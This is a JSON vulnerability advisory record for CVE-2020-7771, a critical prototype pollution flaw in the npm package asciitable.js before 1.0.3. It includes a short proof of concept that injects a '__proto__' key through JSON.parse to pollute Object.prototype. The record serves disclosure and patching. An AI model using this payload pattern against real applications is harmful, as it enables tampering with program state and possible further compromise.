{"id":"CVE-2020-7771","aliases":["GHSA-5pxj-mhwj-x5gv"],"url":"https://o3.security/vulnerability/CVE-2020-7771","summary":"Prototype Pollution in asciitable.js","details":"The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.\n\n### PoC\n```js\nvar a = require(\"asciitable.js\"); \nvar b = JSON.parse('{\"__proto__\":{\"test\":123}}'); \na({},b); \nconsole.log({}.test)\n```","published":"2021-01-04T12:15:12.657Z","modified":"2026-07-09T06:34:44.399711Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"asciitable.js","fixedVersion":"1.0.3"}],"fix":{"url":"https://github.com/victornpb/asciitable.js/pull/1","label":"victornpb/asciitable.js#1"},"references":[{"type":"FIX","url":"https://github.com/victornpb/asciitable.js/pull/1"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7771"},{"type":"WEB","url":"https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab"},{"type":"PACKAGE","url":"https://github.com/victornpb/asciitable.js"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T06:34:44.399711Z"}}